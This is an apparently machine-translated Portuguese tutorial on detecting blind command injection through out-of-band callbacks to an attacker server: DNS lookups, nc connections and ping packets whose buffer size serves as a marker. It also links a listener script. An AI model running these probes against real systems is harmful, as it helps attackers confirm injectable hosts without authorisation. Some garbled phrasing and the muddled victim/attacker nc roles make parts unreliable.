O comando pode executar meios de monitoramento (julgamento)
Quando encontramos um ponto de execução de comando suspeito e descobrimos que não há eco após a execução do comando, como julgar se o comando pode ser executado?
Registro de DNS
Este é o método de uso mais comum. Muitas pessoas gostam de usar a plataforma dnslog ou criar serviços de DNSlog por conta própria.
Implementação do princípio de monitoramento
nslookup <randstr> <ip>
Se a string aleatória correspondente (<randstr>) estiver armazenada no ip correspondente, significa que o comando foi executado. Não vou entrar em detalhes sobre o uso e os princípios básicos, então que outros métodos temos além do DNSlog?
Registo de Porta Aleatória TCP
Na verdade, para a maioria dos cenários, exceto DNS, a maioria das "detecções" anti-conexão usa o TCP como protocolo básico. Podemos obter uma compatibilidade complexa de gravação de vários aplicativos implementando o protocolo baseado em TCP. comando nc.
servidor vítima
nc -l <port>
<randstr>
servidor atacante
nc <ip> <port>
Mas há uma desvantagem nos dois métodos acima, ou seja, nem todos os servidores possuem nslookup
comandos e nc
comandos instalados, principalmente servidores Windows, então podemos encontrar um comando que esteja disponível em quase todos os sistemas operacionais e instalado na inicialização? ? ? A resposta está aí, esse é o nosso comando ping comumente usado! ! !
Log de Tamanho ICMP
Como todos sabemos, o comando de gatilho mais simples para icmp é o comando ping, e basicamente todos os servidores têm o comando ping, se encontrarmos um ponto de execução de comando suspeito da vítima, se o comando ping for executado e o servidor do invasor for pingado , significa que o comando pode ser executado, então ainda precisamos resolver um problema, como provar que o ping do nosso servidor é o servidor da vítima, DNS Log e TCP Port Log passam uma string aleatória para provar isso, mas o comando ping não pode enviar caracteres aleatórios Então, o que mais podemos fazer?
Vamos dar uma olhada na aplicação do ping
Esta é a opção de comando ping no windows, podemos notar -l
este item, podemos personalizar o tamanho do buffer de envio, então podemos usar o tamanho do buffer como um número aleatório? A resposta é sim.
Podemos construir um servidor de escuta simples em nosso próprio servidor
链接:https://pan.baidu.com/s/1yRUvUZrUI1-6WE1ymbMhqQ
提取码:h1bg
python2 main_dnslog.py
Enviei um dado com um tamanho de buffer de 520 em um servidor vítima (windows)
ping -l 520 <ip>
Podemos ver que o servidor invasor ouviu com sucesso um dado com um tamanho de cache de 520, o que indica que o comando ping foi executado e pode-se determinar que o executor é a vítima.
Mais uma coisa a observar aqui é que a opção de tamanho de cache do Windows é -l
, enquanto as opções de tamanho de cache do mac e linux são -s
, ou sejaping -c 4 -s <len> <ip>